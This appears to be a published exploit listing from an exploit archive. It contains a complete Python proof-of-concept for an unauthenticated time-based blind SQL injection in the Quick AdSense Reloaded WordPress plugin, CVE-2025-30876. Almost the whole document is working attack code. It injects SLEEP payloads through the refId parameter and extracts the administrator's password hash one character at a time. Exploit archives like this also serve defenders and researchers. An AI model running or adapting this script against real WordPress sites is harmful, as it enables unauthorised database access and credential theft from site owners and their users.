Share
## https://sploitus.com/exploit?id=PACKETSTORM:226447
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 - Unauthenticated SQL Injection
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/quick-adsense-reloaded/
# Software Link: https://downloads.wordpress.org/plugin/quick-adsense-reloaded.2.0.87.zip
# Version: 2.0.87 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-30876
"""CVE-2025-30876 โ Ads by WPQuads / Quick AdSense Reloaded <= 2.0.87 โ Unauthenticated SQLi
Blackbox HTTP time-based blind SQL injection against a real WordPress + Quick AdSense install
that has the "sell ads" feature in use (the `wp_quads_adbuy_data` table exists with >=1 row โ
see setup_state.sh / README for how to create that state).
Root cause: `quads_authorize_payment_success()` is hooked on the unauthenticated `init` action
(includes/ad-selling-helper.php:87). It reads `refId` from GET and concatenates it, unquoted,
into a numeric SQL context with no preparation:
// includes/ad-selling-helper.php:105
$ad_details = $wpdb->get_row("SELECT * FROM $table_name WHERE id = $order_id AND user_id = $user->ID");
`$order_id = sanitize_text_field(wp_unslash($_GET['refId']))` โ no quotes are needed (numeric
context), so `refId=0 OR SLEEP(4)` injects directly. Blind (result used only internally), so
time-based extraction is used.
Gate params required: status=success, ad_slot_id>0, user_id (an existing user id, e.g. 1=admin),
refId non-empty, and NO `target` param.
Usage:
python3 CVE-2025-30876_quick-adsense.py --target http://localhost:8090 --dump-hash
"""
import argparse, time, sys, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
def send(base, refId, timeout):
qs = {"status": "success", "ad_slot_id": "1", "user_id": "1", "refId": refId}
url = base.rstrip("/") + "/?" + urllib.parse.urlencode(qs)
t0 = time.time()
try:
requests.get(url, timeout=timeout, verify=False)
except requests.exceptions.ReadTimeout:
return timeout
return time.time() - t0
def oracle(base, cond, delay=4):
el = send(base, f"0 OR IF(({cond}),SLEEP({delay}),0)", timeout=delay + 15)
return el > delay * 0.7
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--dump-hash", action="store_true", help="extract admin (user 1) password hash prefix")
args = ap.parse_args()
base = args.target
print(f"[*] Target: {base}")
print("[*] Calibrating time-based oracle (refId numeric injection on init hook)...")
t0 = send(base, "1", 20)
t1 = send(base, "0 OR SLEEP(4)", 25)
print(f" refId=1 -> {t0:.2f}s refId=0 OR SLEEP(4) -> {t1:.2f}s")
if t1 - t0 < 3:
print("[-] No delay. Ensure the sell-ads table wp_quads_adbuy_data exists with >=1 row (see README).")
return 1
print("\n[+] SQL INJECTION CONFIRMED (time-based blind, unauthenticated).")
if args.dump_hash:
print("[*] Extracting wp_users[ID=1].user_pass (first 16 chars) via boolean/time oracle...")
h = ""
for pos in range(1, 17):
lo, hi = 32, 126
while lo <= hi:
mid = (lo + hi) // 2
cond = f"ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),{pos},1))>{mid}"
if oracle(base, cond):
lo = mid + 1
else:
hi = mid - 1
if lo == 32:
break
h += chr(lo)
print(f" hash[{pos}] = {chr(lo)!r} -> {h!r}")
print(f"\n[+] Extracted admin password-hash prefix: {h!r}")
return 0
if __name__ == "__main__":
sys.exit(main())